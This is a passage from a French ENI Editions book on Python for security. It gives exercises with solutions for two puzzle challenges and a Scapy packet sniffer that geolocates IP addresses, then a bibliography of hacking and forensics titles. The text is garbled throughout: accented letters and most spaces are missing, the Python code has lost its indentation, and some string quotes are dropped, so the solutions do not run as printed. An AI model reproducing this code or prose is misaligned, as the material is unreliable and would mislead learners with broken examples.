VoustrouverezentlchargementsurlapageInformations gnralesdecelivrenumriqueunfichiertexte
nommocr.txt.
Un mot y est cach et chacune de ses lettres est trs rare dans le fichier. Recherchez les lettres qui
napparaissentquuneseulefois.

b.Correction

mess = open("ocr.txt").read()
dict = {}
for ch in mess:
dict[ch] = dict.get(ch, 0) + 1
print "".join(ch for ch in mess if dict[ch] == 1)

Lersultattrouverest"equality".

3.ZIP
ENI Editions - All rights reserved - chantal gournier

- 1-

a.nonc
Voustrouverezunfichierchannel.zipentlchargement.
Vouscommencerez90052.
LarponseestdansleZIP.

b.Correction

import zipfile,re
idx="90052"
file = zipfile.ZipFile("channel.zip", "r")
history = []
while True:
history.append(idx)
data = file.read(idx+".txt")
print "File",idx+":\t"+ data
idx="".join(re.findall([0-9.],data))
if len(idx)==1:
break
print .join([file.getinfo(i+.txt).comment for i in history])

LersultatobtenudoittreHOCKEYcritenASCIIart(artASCII).

4.Scapyetgolocalisation
a.nonc
ImaginonsquelonveuillefairedelagolocalisationpartirdadressesIP sourceetdestination.
crivezunscriptPythonquiralisecettefonction.
Aide :utiliserlalibrairieGeoIP.

b.Correction

#!/usr/bin/env python
import scapy, GeoIP
from scapy import *
gi=GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
def prnPkt(pkt) :
src=pkt.getlayer(IP).src
dst=pkt.getlayer(IP).dst
srcCo=gi.country_code_by_addr(src)
dstCo=gi.country_code_by_addr(dst)
print srcCo+">>"+dstCo
try :
while True :
sniff(filter="ip", prn=prnPkt,store=0)
except KeyboardInterrupt :
print "\nExit\n"

- 2-

ENI Editions - All rights reserved - chantal gournier

ENI Editions - All rights reserved - chantal gournier

- 3-

Bibliographie

Python,Lesfondamentauxdulangage,SbastienChazallet,ditionsENI

ScuritinformatiqueEthicalHackingApprendrelattaquepourmieuxsedfendre,ACISSI,ditionsENI

ProgrammingPython,MarkLutz,4thRevisededition(14janvier2011),OReillyMedia,Inc,USA

Gray Hat Python: Python Programming for Hackers and Reverse Engineers,JustinSeitz,dition :NoStarch
Press,USA

ThePythonStandardLibrarybyExample,DougHellmann,diteur :AddisonWesley

DiveintoPython,MarkPilgrim,diteur :Apress

FoundationsofPythonNetworkProgramming:TheComprehensiveGuidetoBuildingNetworkApplicationswith
Python,JohnGoerzen,T.BoweretBrandonRhodes,diteur :Apress

ConferencePyCon2008,RenaudLifchitzhttp://dl.afpy.org/pyconfr08/slides/renaudlifchitzscapy.pdf

OutilsdanalyseforensiquesousWindows,HarlanCarvey,diteur :Pearson

WindowsForensicAnalysisToolkit,ThirdEdition,HarlanCarvey,diteur :Syngress

TheBasicsofDigitalForensics,JohnSammons,diteur :Syngress

ENI Editions - All rights reserved - chantal gournier

- 1-

Вам также может понравиться